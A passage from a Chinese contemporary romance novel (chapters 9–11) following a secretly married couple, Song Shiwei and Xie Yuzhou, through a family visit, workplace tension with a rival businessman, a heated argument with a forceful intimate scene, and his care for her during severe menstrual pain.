“我先开几副方子,回去吃吃看,服药是一方面,更重要的是要改变心态。” 宋时微大致有判断,与她想得差不多,“我知道了,谢谢大夫。” 大夫转而训斥谢屿舟,“屿舟,尤其是你,少气点你媳妇。” 谢屿舟:“外公,我哪里敢。” 外公?! 宋时微在不知情的情况下见了他的外公,“外公,抱歉。” “没关系,他的错。” 章书阳板起脸,“你外婆喊你中午留下来吃饭。” 谢屿舟:“我知道了。” 他的心里在想外公说的话,宋时微是焦虑导致的失眠。 她会焦虑什么?七年间她经历了什么? 过去的七年是他们之间无法提及的话题。 9. 放开 离开中医馆,谢屿舟和宋时微前往老城一处老宅。 “你怎么没说是你外公啊?”她只见过谢屿舟的外婆,没见过他的外公。 谢屿舟只道:“是看病,不是正式拜访。” 如果提前和她说,她一定会紧张。 比如现在,宋时微不知如何面对谢屿舟的外婆,这个曾经把她当亲孙女疼爱的人。 谢屿舟突然握住她的手,微微用力攥紧。 好像在说,有他在。 高大的梧桐树在风中飘荡,枝丫被锯掉一截,熟悉的街道跑进宋时微的眼里。 那时学校没有搬迁到新城区,她和谢屿舟想着躲同学,没有躲过家里人。 车子开进巷子里,远远望见方徽静正在院中收拾落叶。 听见轰隆的马达声音,方徽静放下扫把,打开院门。 “微微,快进来,外面热,药给我吧。” 外婆吩咐谢屿舟,“屿舟,锅里有绿豆粥,先给微微盛一碗。” 宋时微被外婆牵着进屋子里歇息,客厅窗明几净,三花猫懒懒趴在地上乘凉。 一切和从前没有区别。 方徽静将药倒进砂锅中,和谢屿舟交代,“微微比以前瘦了,你不能欺负她,选择和她结婚,就好好待她,收收你的脾气,过去的事就让它过去吧。” 谢屿舟舀沉底的绿豆,“我知道。” “唉,你最好是。”方徽静了解外孙,如果能放下,就不会等这么久。 “放在这里了。”放下绿豆粥,谢屿舟去后院接工作电话,客厅里只剩下方徽静和宋时微。 方徽静和蔼可亲,“调理的药不苦,别怕,孩子。” 宋时微捧着陶瓷碗,小声问:“您不怨我突然离开吗?” 方徽静摸摸她的脑袋,眼神慈祥,“若非万不得已的理由,怎么会愿意离开从小生长的地方呢。” 这句话像一道阀门,打开了眼泪的开关。 宋时微离开南城的时候没有哭,回来的时候也没有哭。 七年里多少难捱的日子她都没有哭,独独听到这句话,泪水止不住地流下。 方徽静抱住她,“好孩子,哭出来就好了。” 倏然,她很想她的外婆,和方徽静一样的温柔。 宋时微喝完余下的药,从外婆手里接过红豆饼咬下,“和以前一样的味道。” 甜甜的红豆香气,带着红豆颗粒。 原来,记忆是带有味道的。 方徽静帮她擦掉眼泪,“眼睛肿了就不好看了,以前的事都过去了。” 宋时微点点头,“嗯。” 吃饭更像是谢屿舟的批斗大会,方徽静:“你妈给我打电话,问婚礼还有彩礼的事情,你看你做的什么事,像什么样子。” 宋时微解释,“外婆,是我向屿舟求的婚。” 方徽静继续斥责外孙,“你看你像话吗?让微微先开口。” 总之,一切是她外孙的错。 临走时,方徽静拉着两人的手,语重心长地说:“以后你们会明白,经历一些挫折不是坏事。” 路是他们的,需要他们自己走。 有些事,总要面对的。 回程路上,谢屿舟始终紧握宋时微的手,她偏头趴在车窗上。 梅雨季要进入尾声了。 谢屿舟侧头看她,“婚礼选在雪山脚下吗?” 雪山?他竟然还记得,她最想去却没有时间和金钱去的地方。 宋时微怔然片刻,“好。” 谢屿舟难得语气柔和,“外婆葬在哪里?” 宋时微没有隐瞒,“西郊,外婆喜欢安静。” 车内陷入沉寂,轮胎摩擦地面的声音被玻璃隔绝。 出风口的冷气安静作业,旁边的男人递过来一条毛毯。 谢屿舟说:“下周我陪你去看外婆。” 宋时微转过头,微弯唇角,“好,谢谢。” 见过外婆,她的情绪一下低了下去,重逢以来,谢屿舟知道,不止是他,她的性格变了很多,没有从前活泼。 而她迫不得已离开的理由,恐怕不单单是谢宏恺的因素,还有其他的原因。 他当年没有调查出具体的情况。 谢屿舟掏出手机,给一个律师朋友发了条信息,【帮我查个事情,费用好说。】 余子昂:【你之前不是查过吗?孤女寡母,不就是受不了闲言碎语,还能是什么。】 谢屿舟:【再查一遍,还有临港大学。】 余子昂:【行,哎,七年了,真不知道你为什么独独放不下她,过分地执念是一种病,我认识一个心理医生,要不你去看看。】 意料之中,他不会收到谢屿舟的回复。 从地库到电梯厅的路上,宋时微接到妈妈的电话,葛书韵知道她见谢屿舟的家里人,有些担忧,“微微,要不我还是回去一趟吧,妈妈还能给你撑腰。” 宋时微瞄一眼谢屿舟,“没事的,妈,奶奶外婆她们都很好,过段时间等我工作稳定,我…我们去看你。” 南城对妈妈而言,留下的全是不好的回忆,她不想妈妈面对。 葛书韵:“有什么事一定要和妈妈说啊,你一个人在南城我始终不放心。” 宋时微的手掌传来温热,谢屿舟牵了她的手,脸不自觉烧了起来,“会的会的,妈妈,我现在不是小孩子了。” 葛书韵:“在妈妈心里,你一直是孩子。” 挂断电话,宋时微没有抽出自己的手,任由谢屿舟握着。 培养感情要习惯和他亲密。 到家第一件事,宋时微从冰箱里拿出修复凝胶,均匀涂抹在谢屿舟的创口上。 没有昨日那般红,一只骨络分明的手掌,希望不要留下疤痕。 “下次不要帮我挡了,不值得。” “我说值得就值得。”谢屿舟垂眸看她,“宋时微,旁人我不会挡。” 对上男人深沉的眼睛,宋时微手指蜷缩,“我的意思是,你可以喊我一下,我躲开。” 她岔开话题,“你明天的工作怎么办?” 谢屿舟:“有孟新允。” 是呀,他有助理,总裁办有那么多人,轮不到她操心。 翌日,宋时微和谢屿舟习惯了一人一车前往同一目的地上班。 她思索再三,给孟新允发了一段话。 【孟助,谢总的右手被开水烫到,麻烦注意一下,如果有应酬喝酒的话,一定别让他喝,别说是我说的。】 只是,宋时微低估了孟新允。 下一秒,他直接将消息放在老板面前,毕竟他是谢屿舟的助理。 “谢总,太太还是很关心你的。” 做到总助的位置,孟新允靠得不是和谢屿舟的交情,而是实打实的本领。 谢屿舟瞥了一眼消息,几不可查地扬起唇角,“不然,关心你吗?” “不敢不敢。” 孟新允是个人精,自然能够看出老板的心情,“我下去拿药。” 谢屿舟看眼时间,接近午时,“让她上来。” 同时,给宋时微发了一条消息,【上来。】 好像有点冷漠,他撤回重新编辑,【有点事找你帮忙,来趟顶楼办公室。】 宋时微和乔言心刚走到电梯口,电梯人多,暂时上不去,掏出手机准备浏览新闻,屏幕上方显示谢屿舟发来了消息, 看清老板的吩咐,她尽量保持镇定,面带歉意,“心心,我朋友来了,不能和你去食堂吃饭了,抱歉。” “没关系。”乔言心神秘兮兮提问:“是你老公吗?” 宋时微点头,“对。” 乔言心来了兴趣,“拉出来瞅瞅。” 宋时微哪里敢,赶忙找理由,“他社恐得很,以后有机会。” 乔言心:“不逗你玩了,我可不敢耽误你们约会。” 宋时微:“不是约会。” 通往顶楼要么乘坐老板的专梯,要么和孟新允预约,宋时微盘算怎么避开同事上去。 寰宇的食堂在八楼,会下去大部分同事,午饭时间,上楼的人少, 宋时微下到一楼,绕到低区电梯,低区和高区的同事基本不认识。 她乘坐低区电梯上楼,磨磨蹭蹭等到所有的人下电梯,胆战心惊按了顶楼的按钮。 顶层实际办公面积比标准层少一半,宋时微佯装坦荡,“策划部宋时微过来找谢总汇报工作。” 夏韵当班,“好的,请稍等。”她请示孟新允,得到准许后开门。 “请进。” “孟助,人到了。” 原来最外侧是总裁办,进去一间是总经理助理室,最里面才是总经理办公室。 所以她来找谢屿舟,会被总裁办所有人看见。 待夏韵离开,孟新允才开口,“太太,谢总在里面等您。” “还是喊我宋时微吧,我怕隔墙有耳。”宋时微时刻保持高度警惕。 孟新允说:“没关系的,隔音很好,上周谢总和老谢总吵架摔了杯子,外面都听不见。” 他想打自己一顿,面对宋时微没有一点防备。 宋时微蹙眉,“为什么吵架?” 孟新允:“我不知道,我进去发现地上的碎片才知道。” 上周的事,十有八九是因为她。 宋时微站在办公室门口,恭恭敬敬问:“谢总,您找我什么事?” 谢屿舟站起身,走上前,“涂药。” 宋时微看看孟新允,“孟助不是在吗?” 谢屿舟淡淡说:“他笨手笨脚,不会。” 孟新允:??? 有没有人替他说句公道话啊。 “谢总,太太,你们忙,有事喊我就行。”远离老板和老板娘,他不要做电灯泡,会被炸伤。 盛清菡吃完饭回来,照例查看登记表,“中午有访客啊。” 夏韵小声说:“策划部的人过来汇报方案。” 盛清菡表以同情,“好惨好惨好惨,大中午不让人吃饭休息,新官上任三把火,从策划开始。” 行业内流传一句话,销量不好是策划的锅,大牌错了是策划的锅,总之策划是背锅的。 更有甚者,年底业绩压力大‘杀’个策划祭天。 夏韵哀嚎,“老板怎么不发老板娘的照片,万一哪天把老板娘拦在外面,可咋办?” 盛清菡赞同她的话,“就是说啊,搞得和‘金屋藏娇’似的。” 夏韵拉住孟新允套话,“孟助,你见过老板娘吗?” 孟新允摇头,“没有,这是老板的家事,我只是工作助理。” 全公司除了当事人,他是唯一知道内情的人,连个分享的人都没有,太太太可怕了。 夏韵还在发散思维,“老板会不会容不下我们啊,电视里都是这么演的,为了让老板娘安心,开除所有的女助理。” 孟新允:“放宽心放宽心,你们不直接接触谢总,而且老板又不是昏君。” 夏韵:“那可说不准,为博美人一笑,什么事都能做出来。” 孟新允:“好好上班,少想有的没的。” 总经理办公室内,宋时微处理好伤口,“好了,谢总,我先去忙了。” “一起吃点,孟新允饭买多了。”谢屿舟见她仍有犹豫,“浪费可耻。” 果然,宋时微重新坐了下来。 “谢总,下次可以不要在公司单独喊我上来吗?我向您汇报工作,属于越级,而且被人看见影响不好。” “好的,是我考虑不周。” 宋时微猛然看谢屿舟,今天这么好说话,难得。 下一秒,男人意味深长地说:“不过,你心里没鬼,干嘛害怕被人看见。” 宋时微咕哝,“谁说我心里没鬼。” 谢屿舟追问:“你有什么鬼?” 宋时微:“和公司总经理结婚这还不算有鬼吗?在旁人眼里,我们没有关系。” 谢屿舟坦坦荡荡,“你可以公开,我没意见。” 宋时微搁下筷子,郑重说:“然后我被边缘被孤立,整天无所事事,成为一个废人,我有我的理想,我不想依附任何人,包括你,不是要和你划清界限的意思。” “我明白,吃饭吧,菜快凉了。” 宋时微后知后觉发现,孟新允买的菜很合她的口味,全是她爱吃的菜。 “吃慢点,没人和你抢。” 不能再和他聊天,宋时微抓紧时间吃饭。 饭后,谢屿舟收拾桌子,“困的话里面有休息室。” “不了,我先回去了。”宋时微打了个哈欠,果断逃离办公室。 “这是被骂哭了吗?” “好像是,惨兮兮。” 宋时微困得直打打哈欠,并不知道她的一个瞌睡能传出这种谣言。 公司强制午休一个小时,不能开灯不能聊天不能外放音乐。 无人看见她从楼上下来,好在以后不用打游击战。 — — 周二中午,宋时微被乔言心拉去商场觅食,说新开了一家烤肉店,爆火,中午的时候人少一点。 只是,在烤肉店门口遇到了傅景深。 “傅总,好巧。” 也不算巧合,宋时微想起,他约了谢屿舟周二详谈计划,咦,谢屿舟怎么没请他吃顿便饭? 傅景深发出邀请,“好巧,一起吃?” 宋时微推辞,“不了,有同事。” 傅景深没有拉扯挽留,和他的同事去拿号。 乔言心嗅到了八卦的味道,“帅哥啊,单身吗?” 宋时微被问住了,“好像是吧,我和他不太熟。” 那天见面又不是他们相亲,没有聊感情状况,听林以棠那意思,十有八九是单身。 乔言心:“你身边这样的极品你都看不上,我更好奇你老公是何许人也了。” 宋时微笑了笑,“脸又不能当饭吃,他就是一普通人,长得一般,家世一般,个子一般。” 为的是让别人不把她老公和谢屿舟联系在一起。 孟新允和谢屿舟站在她们身后,他明白为什么老板偏偏走进这家店,敢情看到了老板娘。 只是,眼下,他不敢看老板铁青的脸色,努力回想此生难过的事情,让自己忍住不笑出声。 原来在老板娘心里,谢总是普通人,用了三个‘一般’形容。 乔言心问:“那你喜欢他什么?” 宋时微略微思考几秒,“他人好啊,有句话是这样说的,你不能和一个对你好的人结婚,而是要和一个本身很好的人结婚,他就是一个好人。” 孟新允偷偷打量老板,老板的脸色阴转多云,没有彻底放晴。 也对,谁被发好人卡能开心呢。 “咳咳”,孟新允咳了两声,他不想看到血溅餐厅的悲惨局面发生。 两个女生同时回头,异口同声喊,“谢总。” 相对乔言心合不拢嘴的震惊,宋时微镇定很多。 谢屿舟依旧不苟言笑,“想吃什么随便点,我请你们。” 宋时微:“不用了。” 同一时刻,乔言心应下,“谢谢谢总,我们就不客气了。” 她偏头和宋时微说:“资本家不宰白不宰,一顿午饭而已。” 宰老板为什么和他坐在一起吃饭?为什么傅景深和他助理莫名其妙也坐了进来。 一张方形的桌子,宋时微对面是谢屿舟,乔言心对面是孟新允,而傅景深和他助理面对面。 “没看出来谢总这么体恤下属。” 谢屿舟抿下一口茶,“傅总好悠闲,千里迢迢来我们公司楼下吃饭。” 傅景深:“谢总公司美女多,菜味道好。” 此刻,助理发挥了最大的作用,孟新允招呼大家,“再不吃菜凉了。” 乔言心:“哦哦哦。” 一盘烤肉不够六个人分,一人夹一筷子就没了,一顿饭吃得极其缓慢折磨。 宋时微手边多了一杯饮料,傅景深说:“不含茶,喝了不会失眠。” “谢谢。” 倏然,她的腿被人踢了一下,始作俑者正面无波澜,悠闲喝茶。 一旁的孟新允快得心脏病了,傅景深怎么回事,人家老公还在这呢,轮得到他献殷勤吗? 合作不想要了吗? 谢屿舟擦擦嘴巴,眼神倏地变暗,“傅总对我司员工挺了解。” 无人关注的桌底,男人用腿缠住宋时微的脚,勾在一起。 宋时微吓得心脏快要跳出来,用口型说:“放开。” 谢屿舟恍若未闻,缠得更紧。 面向傅景深,眼神冷冽,“我作为老板都不知道,傅总怎么知道?” 10. 吵架 傅景深平淡笑笑,“谢总日理万机,手下这么多员工,怎么会关注到每个下属的情况呢。” 谢屿舟表面波澜不惊,“傅总都不是我司的员工,又是怎么认识我的人呢?” 我的人,一个暧昧的词。 桌子上方波涛汹涌,桌子下方暗流涌动。 宋时微的脚被男人紧紧勾住,她无法动弹,又担心被同事发现。 只能掏出手机,给始作俑者发信息,【你放开我。】 傅景深偏头望了一眼宋时微,“相亲上见过。” 宋时微连忙解释,“不是,是陪朋友相亲。” 但是,无人在意她的话。 谢屿舟接上傅景深的话,凌厉眼神扫过去,问:“那怎么没成?” 傅景深幽幽道:“被人截胡。” “这样啊。”谢屿舟低头淡瞥手机,“是本身就没机会,并不是截胡吧。” 男人放开了宋时微的脚。 剑拔弩张的午饭,孟新允满脑子三个字,怎么办?怎么办?怎么办? 撬墙角不是这样的啊。 或许,是想给谢总添堵,以便压价。 宋时微莫名成为靶子中心,一刻待不下去,拉着乔言心,面上不显,“我们吃饱了,先回去了,谢总、傅总慢用。” 乔言心正有此意,连忙站起来告别。 留下四个男人面面相觑,没有待下去的必要,结账散场。 孟新允邀请傅景深,“傅总,这边请。”按道理合作方这样积极会很开心,他却充满了担忧。 哪有寻求合作的一方这样对别人老婆的。 门外,乔言心挽住宋时微的手臂,迅速逃离现场,她拍拍胸脯,“以后再也不和老板一起吃饭了,还两个老总,好吓人,我都没吃饱。” 宋时微吃了八分饱,“走,我请你吃别的。” 两个人去负一层找小吃。 乔言心回想饭桌上的情况,望望四周,“老板和傅总有过节吗?感觉两个人说话夹枪带棒的。” 宋时微打马虎眼,“没有吧。” 乔言心心思单纯,“那可能是我多想了,可怜你,莫名其妙被连累。” “就是纯躺枪。”陪林以棠相亲前,宋时微没见过傅景深。 她和谢屿舟,严格来说,算不上熟悉,不知道他的朋友有谁,更不清楚他和谁有过节。 寰宇大厦顶层会客厅,傅景深带了项目书过来洽谈合作,诚意十足。 “我们有原料基地,你们有销售渠道,强强联合,降低风险。” 的确如此,傅家在南方有多个茶园基地,近年,不甘于为他人作嫁衣,一直谋求走向前端,市面上饮料竞争激烈,从头开始不如找个企业合作。 谢屿舟浏览项目企划书,男人掀起黑眸,“的确很诱人,不过我挑选合作伙伴也看中人品。” 傅景深装傻,“谢总大可放心,不偷不抢不做违法乱纪的事情。” “还有道德问题。”谢屿舟瞳仁聚焦,语气冷冽,“提醒傅总,宋时微已婚。” 傅景深:“我和宋小姐只是朋友,谢总不要风声鹤唳。” 四两拨千斤,一副坦坦荡荡的模样。 “还是说谢总,并不知道自己的太太喝茶会失眠。” 此言一出,室内陷入寂静,落针可闻。 两个助理大气不敢出,借助余晖打量两位总经理。 上位者的姿态要求他们无论面对各种境况,都要保持沉稳。 看不出心里的真实想法。 助理则不同,终究是嫩了点。 孟新允的额头渗出冷汗,傅景深哪里是来谈合作,分明是故意找事。 谢屿舟修长的手指轻点沙发扶手,不疾不徐道:“傅总太过于关心我的太太,让我有合理理由怀疑——你的合作动机。” 傅景深笑笑,“动机就一个,赚钱。” “最好是。”谢屿舟抬起嶙峋手腕,看眼银灰色的表盘,“还有个会,不留傅总吃晚饭了。” 傅景深主动伸出右手,“静候谢总的好消息。” 谢屿舟回握,“期待合作。” 孟新允看他们握手,脸上带着恰当的微笑,在心里感叹,还得是老板,云淡风轻波澜不惊需要他学很久。 不一定能学会。 除了新婚夜,后来的每一天,谢屿舟不到八点即到家。 宋时微和他聊天少,谁都不是主动找话聊的性格。 在高中亦如此,他们最多一起讨论题目。 这番场景落在君姨眼中,不免多想,她活了大半辈子,竟看不出他们有没有感情。 算了算了,年轻人的相处方式,她不懂。 家里只剩下两个人,没有其他的声音。 宋时微照常给谢屿舟拆纱布,烫伤逐步痊愈,长出新的皮肤。 她买了祛疤的药膏,眼下尚未结痂,不能涂抹。 冰凉的凝胶在手上化开,宋时微鼓足勇气开口,“你和傅景深有矛盾吗?” 作为夫妻,多了解彼此的圈子,有利于增进感情。 尤其是他们。 “没有。”谢屿舟凝视眼前的妻子,“也许单纯是谢太太有魅力,引起旁人觊觎。” 七年,她变了许多,曾经活泼的女生变成现在沉静的性格。 女人换上棉质居家服,不施粉黛,头发用发圈扎成低马尾,显得温婉大方。 高中时暗暗喜欢她的人很多,只是她一个都不知道。 宋时微的手指顿在半空,“不可能,我很普通。” 谢屿舟反问她,“质疑我选太太的眼光?” “不是。”短暂的停顿后,宋时微继续抹药膏,“我和他什么都没有,只在糖糖相亲见过一次。” 她不是一个喜欢解释的人,真正信任你的人不需要解释。 只是,她和谢屿舟之间,没有信任可言。 “我看他挺了解你的,嗯?谢太太。”谢屿舟借玩笑口吻说出心里话,傅景深中午吃饭时,连他妻子的喜好都摸得清清楚楚。 不仅仅是茶。 宋时微当他说的是茶的事,“没有,茶是碰巧,很多人喝茶都会失眠。” 谢屿舟的虎口钳住她的下巴,目光如炬,“以前你不会。” 很多她的事情,他甚至没有别的男人了解。 深深的无力感。 宋时微垂头,“人都会变的。” 是啊,她最擅长改变,前一晚抵死缠绵,和你讨论去哪里玩,第二天说消失就消失,没有留下一句话。 七年过去,仿佛无事发生,再度出现在南城。 谢屿舟:“如果我没有和你领证,你是不是就和他结婚了?” 一瞬,宋时微抬起头,眨了眨眼睛,“原来你是这么想我,认为我是随便找一个人结婚。” 她解释得足够多,他不信。 她知道,不告而别让她在他的心里信任值为负。 可是,当不信任变为现实,带来的是剜心的痛。 谢屿舟步步紧逼,“难道不是吗?难不成是非我不可吗?” 倏然,宋时微笑了一下,收起药膏,“是随便结婚,谢总,您满意了吗?” 她的语气一如既往地温柔。 但,温柔刀,刀刀致命。 “很满意。”谢屿舟抽出她手里的药膏,丢在沙发角落。 突然,宋时微被男人拽住手腕,她倒在沙发上,一道颀长的阴影从上方压下。 她的嘴唇被他咬住。 是啮咬、啃食,带着浓浓的惩罚意味。 男人的舌尖探入进去,搅弄风雨。 为什么好看的樱红的唇,总是说出伤人的话。 既然这样,不如直接堵住。 谢屿舟扣住宋时微的手掌,落下如暴风雨般的吻。 裹挟着气愤的吻,男人故意用力顶进口腔。 只在濒临窒息时稍稍松开宋时微的唇,渡给她空气。 男人宽大炙热的手掌从衣服下摆探进去,想解开搭扣,他解不开,索性绕到上方。 家居服的纽扣碍事,被他用另一只手解开。 内衣肩带滑落到臂弯,头发凌乱,松松垮垮。 宋时微和他较劲,用虎牙咬住他的唇,“不可以。” 谢屿舟嗓音微哑,“我们是合法夫妻。” 男人故意亲在她的耳垂,七年无人探访的敏感地带,女人本能颤抖。 “看来你前夫是真不行。” 宋时微咬住唇瓣,“他比你会尊重人。” 谢屿舟的手掌死死锁住她的手腕,让她动弹不得,而他,一点一点舔她、吻她,从嘴唇到耳垂,埋首而下。 像凌迟,慢慢折磨。 宋时微的抿紧嘴唇,不让喉咙中的声音泄出来。 谢屿舟伸出手指,分开她的上下唇瓣,“闭这么紧,怕暴露自己其实很享受吗?” 宋时微顺势用力咬他的手指,“吻技太烂,这么多年一点长进都没有。” 谢屿舟不恼怒,俯身亲她耳垂上的黑痣,“那是谁,一个吻就抖得不成样子。” “身体比嘴巴诚实多了。” 宋时微咬在谢屿舟的手臂,留下一个深深的牙印。 与男人指尖的牙印凑成一对。 两个人谁都不愿让步,莽着劲较量,吻变了味道。 微咸的腥气在口腔内蔓延。 谢屿舟擦擦嘴角的齿痕,“我不做违法的事情。” 即使是婚内,也要征求另一半的同意。 隔着布料,“shi了。” 他好心问她,“需要帮忙吗?” 宋时微喘口气,凶狠狠瞪着他,“不用,谢总还是管好自己吧,别憋坏了。” 明明自己处于下风,嘴上仍不饶人,不愿认输。 谢屿舟勾了下唇,“放心,不会坏,你有得用。” 他说不动她,真的没有动她。 只是,强势抱着她睡觉,双臂箍住她的腰身。 宋时微快要喘不过来气,出声斥他,“你勒到我了。” 谢屿舟堪堪松开丁点力度。 — — 翌日一早,程清安发了一份修改过n+1版的方案在工作群里,【下个季度的营销推广方案,你们再检查一遍,看看有没有不对的地方。】 之前羡慕策划部其他组被领导重视,轮到自己后才发现是折磨局。 乔言心看到ppt,快要吐了,里面每个数据她快如数家珍。 她左右晃晃,看到宋时微,吓了一跳,“微微,你怎么了?” 原本白里透红的脸现在煞白,表情痛苦。 宋时微勉强露出笑容,“来月经了。”果然女人不能生气,这次痛经比之前更严重。 都怨谢屿舟,冤枉她是随便结婚。 乔言心担忧道:“那你趴一会。” 宋时微努力打起精神,“没事,第三页的数据和第十页的对不上,看看是哪里的问题,还有谢总估计会关心接下来半年的计划,以及我们和其他品牌的差异在哪里。” 乔言心:“你也太拼了。” 宋时微努力克服痛经,尽量清晰条理说完,“老谢总不注重饮料线,走稳扎稳打的路线,谢总不一样,传统的地产没落,他需要寻找另一个出路,饮料再好不过,有资源有名气,稍微用点力,可能会事半功倍,当然这是我猜的,以防他提问。” 她在书房里看见谢屿舟研究其他品牌,加之,她调查过傅景深的资料,大概猜出来他们大概的合作方向,秉着万一就是饮料呢,做了一些功课。 宋时微又说:“我给安姐发了一份ppt,她看一眼就能明白。” “好,我记住了。”乔言心:“你告诉我这么多,不怕我抢你功劳啊。” 宋时微:“你抢呗,反正不流外人田。” “你也太好了。”乔言心去找程清安,说明缘由,“安姐,微微生理期太痛了,参加不了会议。” 程清安拉开抽屉,找到药品,“没关系,我有布洛芬,你拿给她,和她说假批了,让她赶紧回家休息。” “好。”乔言心原封不动将宋时微的猜想转达,“微微说,备用。” “嗯,我知道了。”有些想法和她不谋而合,不愧是她面试时第一眼看中的人。 “微微,安姐让你快回家,对了,你先吃药。” 宋时微对这个牌子的布洛芬产生抗药性,吃了没什么缓解,但还是试试。 自从大学做了水族馆的兼职,落下了痛经的毛病,比普通痛经痛上百倍。 乔言心帮她收拾包,“你一个人可以吗?” 宋时微强撑身体,“没事,我打车,很快到家。”司机下午忙别的事,距离市区几十公里,短时间内无法赶回。 至于合法丈夫,不在求助范围内。 乔言心:“还有几分钟才开始,我送你上车。” 老板亲自审核方案,策划部个个打起十二分的精神,坐在会议室紧盯玻璃门。 不多时,门从外拉开,挺拔的身姿踏入。 悬在头顶上方的剑落下来了。 谢屿舟坐在最前方,扫视一圈,没有看到宋时微,他抬眸瞥一眼孟新允。 孟新允接收到信号,问:“人到齐了吗?” 程清安:“除了宋时微,她生理期太痛,请假了,谢总,放心,没有耽误工作。” 之前部门的男领导非常不喜欢女员工因为这个原因请假,不是女人无法感同身受。 “身体更重要。”谢屿舟的眼睛里闪过一丝异样,很快转为正常,淡声道:“开始吧。” 程清安汇报报告。 主位男人的手指轻点桌面,时不时看下时间,她摸不清他的看法。 半晌,谢屿舟沉声说:“推广方向过于保守,和市面上的没什么区别,三季度是销售高峰期,不把握住机会,再守旧下去,恐怕会被替代。” 一款产品只靠情怀是走不下去的,还要与时进步的创新。 程清安大着胆子开口,“谢总,除了季度推广方案,还有一份分析报告。” 宋时微临走前发给她的ppt派上了用场。 程清安作为职场老手,断会察言观色,老板脸上仍有焦灼的神情,但比刚刚缓和很多。 那就是还可以的意思。 “主要是宋时微的想法,”程清安不会抢下属的功劳。 自己淋过雨,不会撕了别人的伞。 谢屿舟颔首示意,他抬手交代孟新允几件事,离开了会议室。 孟新允:“我们继续讨论。” 老板离开,其余人松了一口气,敢于提出自己的想法,讨论速度快了许多。 孟新允遵从老板的意思,去到另一层和人事总监沟通假期的事情。 当即在oa中发布公告。 【即日起,公司女员工每月一天经期带薪休假,系统已开通,可直接申请。】 公司的女员工自然很开心,新老板有人性。 身为打工人,要的并不多,满足合理诉求上班才有动力。 乔言心记挂宋时微,将开会以及假期的事一一告知,【微微,你怎么样?老板结了婚是不一样,太贴心了。】 宋时微玩种菜的游戏,转移注意力,【好一点了。】 原来,谢屿舟不是那么无情。 身为老板,他是合格,身为老公,勉勉强强。 大门开启,谢屿舟问君姨,“太太呢?” “在房间里,吃了药躺下了。”君姨锅上炖着汤,“先生,太太痛经怎么这么严重,回来的时候都快晕倒了。” “我去看看。”谢屿舟挽起衬衫袖口,“热水袋有吗?” “微微拿过了,我熬了红枣桂圆,看看能不能有点用。” 谢屿舟端了汤,听君姨在身后唠叨。 “这样治标不治本啊,最好找医生调理,痛经痛起来要命的。” “我知道了。”她以前不会这么痛,每次给她带的布洛芬根本用不到,生理期照常跑800米。 发生了什么,性格与身体发生这么大的变化。 房门打开,宋时微听见熟悉的脚步声,迅速放下手机,背对他佯装睡觉。 谢屿舟看出她的假寐,他将汤羹放在床头,没有说话。 男人掀开被子躺了进去,温热的掌心放在女人的小腹,生疏地轻揉。 宋时微制止他的动作,“不麻烦谢总。” 他们没有作为情侣相处过,一步迈进夫妻关系,承受不住他突如其来的温柔。 “宋时微,你……”能不能别逞强? 谢屿舟咽下去后半句话。 男人顿了顿,语气软了下去,“还痛吗?” 11. 心软 “好多了。”宋时微是吃软不吃硬的人,谢屿舟和她的性格很像,学不会低头。 但是,她想改。 男人从身后抱紧她,隔着家居服,掌心的温热传递到她的小腹。 死去活来的疼痛感减轻几分。 “你不用开会吗?” 作为总经理,谢屿舟不是在开会,就是在去开会的路上,怎么会在这个点回来。 宋时微抱着一丝期待问出这个问题,只是她没有明问。 谢屿舟看不清怀里女人的表情,大致猜出来她想问什么,又不敢赌。 “回来拿文件,君姨说你不舒服。” 果然不是为了她,分开七年,他哪里还能记得她的生理期。 七年能改变许多事情。 宋时微咽下失望的情绪,“我没事了,你快回公司吧。” 借助昏暗的日光,谢屿舟细细凝视宋时微的气色,恢复些红润,“君姨熬的粥你记得喝。” 宋时微点点头,“嗯,我一会喝。” 房门关闭,室内陷入寂静,连中央空调作业的声音听不见。 宋时微被谢屿舟搂了一会儿,加上刚回来盖着被子,她的身上出了黏腻的汗。 好在小腹没有那么痛了。 她掀开被子坐在床边喝红枣桂圆汤,瞄到旁边放了一个保温杯,还有一瓶布洛芬。 宋时微拿起药瓶,是没见过的牌子,她尝试过市面上所有的布洛芬,药效时灵时不灵,到最后需要自己扛。 她将碗送到厨房,君姨:“看着好点了,” “对,麻烦你了。” “不麻烦,熬个汤的事。” 君姨想了想说:“先生是关心你的,回来就问你的情况。” 她能看出来,先生嘴硬心软,实际很关心太太。 小两口的感情停滞不前,谁都没有想向前推动。 宋时微回到卧房,想拿睡衣洗澡,听见卫生间传来哗啦啦的水声。 家里没有第三个人在,是怎么回事? 谢屿舟没走吗? 她在门外等了片刻,“咚咚咚”,抬起白皙叩响玻璃门,得到准许后推门进去,矜贵的男人正站在洗手台前。 宋时微疑惑道:“你怎么还没走?” 谢屿舟神色微顿,“对方临时改了时间。” 宋时微看清了谢屿舟手里攥着的东西,是她换下来的脏内裤。 她的脸倏地烧起来红透,像千禧圣女果。 “不用你洗,我一会会自己洗。” 谢屿舟没有停下动作,“你先照顾好自己。” 站都站不稳,偏要逞强。 带血的布料浸在冷水中,矜贵的男人轻轻揉搓起她的内裤,与他的白衬衫形成鲜明对比。 谢屿舟嘴唇抿紧,似乎遇到什么难题,一双骨络分明签合同的手,此刻正与内裤上的斑驳血迹做斗争。 男人没有嫌弃,面无波澜地清洗她的内衣,宋时微上前,“我自己来。” 谢屿舟预判她的想法,提前抽出纸巾,擦干手,打横抱起她,放在凳子上,“坐好。” 一套流程行云流水。 “谢…”宋时微原本想说‘谢谢’,话到嘴边吞了回去,“谢屿舟。” “嗯?” 除了‘谢谢’,她不知道说什么。 “你以前不是不痛吗?” 谢屿舟一直记得宋时微的生理期,周期在28-30天之间,却忽略了时间带来的影响,未料到她也会痛经。 宋时微故作轻松,“大学放飞自我,没人管我吃冰,落下的毛病,这不回旋镖来了。” 她从前不痛经,但谢屿舟会阻止她生理期吃冰。 谢屿舟一眼听出她在说谎,不想他知道真实的情况。 宋时微痛经只痛第一天,第二天照常上班,临下班时,收到谢屿舟的消息,【a100。】 是停车位的信息。 【稍等。】 宋时微又像平时一样,等同事离开,和做贼一样,溜进车里。 黑色迈巴赫行驶在老城拥挤的窄路上,停在中医馆门口。 “你不舒服吗?” 谢屿舟拉开车门,淡淡说:“看痛经。” 他比她更上心,每次痛起来想着去医院看一下,一旦不痛扭头就忘。 而他行动力超绝,直接预约医生。 一个女医生给宋时微看病,约摸30岁,铭牌上写着‘章婧怡。’ “我是他表姐,舅舅家的,谢屿舟加班费给我结一下。”原来谢屿舟外公家是中医世家。 宋时微向她问好:“表姐。” 